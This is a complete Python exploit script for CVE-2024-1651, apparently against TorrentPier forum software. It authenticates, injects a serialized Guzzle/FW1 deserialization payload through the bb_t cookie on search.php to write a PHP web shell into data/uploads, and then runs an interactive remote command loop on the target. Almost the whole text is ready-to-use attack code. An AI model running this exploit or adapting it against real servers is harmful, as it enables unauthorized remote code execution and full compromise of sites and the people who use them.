# thanks to VluxD import requests import random import string import urllib.parse import sys import re import argparse parser = argparse.ArgumentParser(description="CVE-2024-1651") parser.add_argument("-u", "--username", type=str, help="username", required=True) parser.add_argument("-p", "--password", type=str, help="password", required=True) parser.add_argument("-s", "--server", type=str, help="target host", required=True) parser.add_argument( "-f", "--forumid", type=str, help="forum-id to obtain serialized data", required=True, ) args = parser.parse_args() if not any(vars(args).values()): parser.error("[!] all arguments must be declared!") def random_string(length): return "".join(random.choice(string.ascii_lowercase) for _ in range(length)) USER = args.username PASS = args.password HOST = args.server DIR = "data/uploads/%s.php" % random_string(8) url_login = "http://%s/login.php" % HOST S = requests.Session() data = { "login_username": USER, "login_password": PASS, "autologin": 1, "login": "Login", } R = S.post(url_login, data=data, allow_redirects=False) bb_data = R.cookies.get("bb_data") if bb_data: print("[+] login successful!") print(f"[+] {bb_data = }") R1 = S.get(f"http://{HOST}/viewtopic.php?t=%s" % args.forumid) print("[+] generating deserialization Guzzle/FW1 payload") # phpggc Guzzle/FW1 data/uploads/shell.php $(pwd)/test.php -f -u payload = "a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A16%3A%22%3C%3F%3D%60%24_POST%5B0%5D%60%3F%3E%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A{}%3A%22{}%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D".format( len(DIR), urllib.parse.quote_plus(DIR) ) print(f"[+] RCE will be at http://{HOST}/{DIR}") url_post = f"http://{HOST}/search.php" data = { "nm": "", "to": "1", "allw": "1", "pn": "", "f[]": "0", "tm": "0", "dm": "0", "o": "1", "s": "0", "submit": "\xa0\xa0Search\xa0\xa0", } encoded_data = "&".join([f"{key}={value}" for key, value in data.items()]) headers = { "Host": f"{HOST}", "Cache-Control": "max-age=0", "Origin": f"http://{HOST}", "DNT": "1", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"http://{HOST}/search.php", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9,id-ID;q=0.8,id;q=0.7", "Cookie": "bb_data={}; bb_t={}".format(bb_data, payload), "sec-gpc": "1", "Connection": "close", } headers["Content-Length"] = str(len(encoded_data)) S.post(url_post, headers=headers, data=data) if S.get(f"http://{HOST}/{DIR}").status_code == 500: print("[+] shell uploaded!\n[+] popping shell!\n") while True: cmd = input("RCE> ") R3 = S.post(f"http://{HOST}/{DIR}", data={"0": cmd}).text pattern = r'"Value":"([^"]*)"' matches = re.findall(pattern, R3) if cmd == "exit": exit(1) else: if matches: value = matches[0] print(value) else: print("[-] something error!") exit(1) else: print("[+] uploading shell failed!") exit(1) else: print("[!] login failed!") exit(1)